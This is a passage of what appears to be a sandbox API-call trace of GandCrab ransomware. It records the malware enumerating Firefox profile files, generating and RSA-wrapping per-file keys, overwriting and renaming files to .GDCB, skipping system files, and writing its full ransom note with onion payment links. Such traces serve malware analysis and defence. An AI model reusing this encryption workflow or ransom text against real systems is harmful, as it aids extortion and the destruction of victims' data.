(lpString1="gmpopenh264.info", lpString2="GDCB-DECRYPT.txt") returned 1 [0055.686] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info")) returned 0x20 [0055.687] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info", dwFileAttributes=0x20) returned 1 [0055.688] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.688] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" [0055.688] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.GDCB" [0055.688] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x58fc60) returned 1 [0055.688] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.689] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.689] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.689] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0055.689] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.689] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.689] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x58ff08) returned 1 [0055.689] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.690] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.690] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.690] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0055.690] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.690] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.690] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.690] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.690] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5902c0) returned 1 [0055.693] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x5dd308) returned 1 [0055.693] CryptGetKeyParam (in: hKey=0x5dd308, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0055.693] CryptEncrypt (in: hKey=0x5dd308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0055.693] GetLastError () returned 0x0 [0055.693] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0055.693] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x58fc60) returned 1 [0055.695] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x5dd088) returned 1 [0055.695] CryptGetKeyParam (in: hKey=0x5dd088, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0055.695] CryptEncrypt (in: hKey=0x5dd088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0055.696] GetLastError () returned 0x0 [0055.696] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.696] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0055.696] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.696] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.696] ReadFile (in: hFile=0x50c, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e318*=0x74, lpOverlapped=0x0) returned 1 [0055.707] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.707] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.707] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.708] SetFilePointer (in: hFile=0x50c, lDistanceToMove=-116, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.708] WriteFile (in: hFile=0x50c, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e310*=0x80, lpOverlapped=0x0) returned 1 [0055.708] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.708] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.712] WriteFile (in: hFile=0x50c, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e310*=0x100, lpOverlapped=0x0) returned 1 [0055.712] WriteFile (in: hFile=0x50c, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e310*=0x100, lpOverlapped=0x0) returned 1 [0055.713] WriteFile (in: hFile=0x50c, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e310*=0x10, lpOverlapped=0x0) returned 1 [0055.713] CloseHandle (hObject=0x50c) returned 1 [0055.714] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.714] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.714] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.714] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info.gdcb")) returned 1 [0055.724] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.724] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.724] FindNextFileW (in: hFindFile=0x5dd288, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0055.724] FindClose (in: hFindFile=0x5dd288 | out: hFindFile=0x5dd288) returned 1 [0055.724] FindNextFileW (in: hFindFile=0x5dd008, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.724] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.724] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\GDCB-DECRYPT.txt" [0055.725] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.725] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\GDCB-DECRYPT.txt") returned 112 [0055.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\GDCB-DECRYPT.txt") returned 112 [0055.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\GDCB-DECRYPT.txt") returned 112 [0055.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\GDCB-DECRYPT.txt") returned 112 [0055.725] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.725] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.725] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.725] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.725] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.725] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.725] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.725] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.725] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.725] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.725] FindNextFileW (in: hFindFile=0x5dd008, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0055.725] FindClose (in: hFindFile=0x5dd008 | out: hFindFile=0x5dd008) returned 1 [0055.725] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.725] lstrcmpW (lpString1="gmp-widevinecdm", lpString2=".") returned 1 [0055.725] lstrcmpW (lpString1="gmp-widevinecdm", lpString2="..") returned 1 [0055.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="gmp-widevinecdm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm" [0055.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\" [0055.725] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.726] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\") returned 96 [0055.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\*" [0055.726] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5dd008 [0055.726] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.726] FindNextFileW (in: hFindFile=0x5dd008, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.726] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.726] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.726] FindNextFileW (in: hFindFile=0x5dd008, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.726] lstrcmpW (lpString1="1.4.8.903", lpString2=".") returned 1 [0055.727] lstrcmpW (lpString1="1.4.8.903", lpString2="..") returned 1 [0055.727] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\", lpString2="1.4.8.903" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903" [0055.727] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903") returned 105 [0055.727] lstrcmpW (lpString1=".903", lpString2=".sql") returned -1 [0055.727] FindNextFileW (in: hFindFile=0x5dd008, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0055.727] FindClose (in: hFindFile=0x5dd008 | out: hFindFile=0x5dd008) returned 1 [0055.727] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.727] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\\\GDCB-DECRYPT.txt") returned 113 [0055.727] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.727] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.727] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0055.728] CloseHandle (hObject=0x504) returned 1 [0055.728] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\") returned 96 [0055.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\*" [0055.728] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5dd288 [0055.728] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.728] FindNextFileW (in: hFindFile=0x5dd288, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.728] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.729] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.729] FindNextFileW (in: hFindFile=0x5dd288, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.729] lstrcmpW (lpString1="1.4.8.903", lpString2=".") returned 1 [0055.729] lstrcmpW (lpString1="1.4.8.903", lpString2="..") returned 1 [0055.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\", lpString2="1.4.8.903" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903" [0055.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\" [0055.729] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.729] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.729] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.729] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.729] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.729] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\") returned 106 [0055.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\*" [0055.729] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5dd188 [0055.730] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.730] FindNextFileW (in: hFindFile=0x5dd188, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.730] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.730] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.730] FindNextFileW (in: hFindFile=0x5dd188, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.730] lstrcmpW (lpString1="LICENSE.txt", lpString2=".") returned 1 [0055.730] lstrcmpW (lpString1="LICENSE.txt", lpString2="..") returned 1 [0055.730] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="LICENSE.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" [0055.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned 117 [0055.730] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0055.730] FindNextFileW (in: hFindFile=0x5dd188, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.730] lstrcmpW (lpString1="manifest.json", lpString2=".") returned 1 [0055.730] lstrcmpW (lpString1="manifest.json", lpString2="..") returned 1 [0055.730] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="manifest.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" [0055.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned 119 [0055.730] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.730] FindNextFileW (in: hFindFile=0x5dd188, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.730] lstrcmpW (lpString1="widevinecdm.dll", lpString2=".") returned 1 [0055.731] lstrcmpW (lpString1="widevinecdm.dll", lpString2="..") returned 1 [0055.731] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", 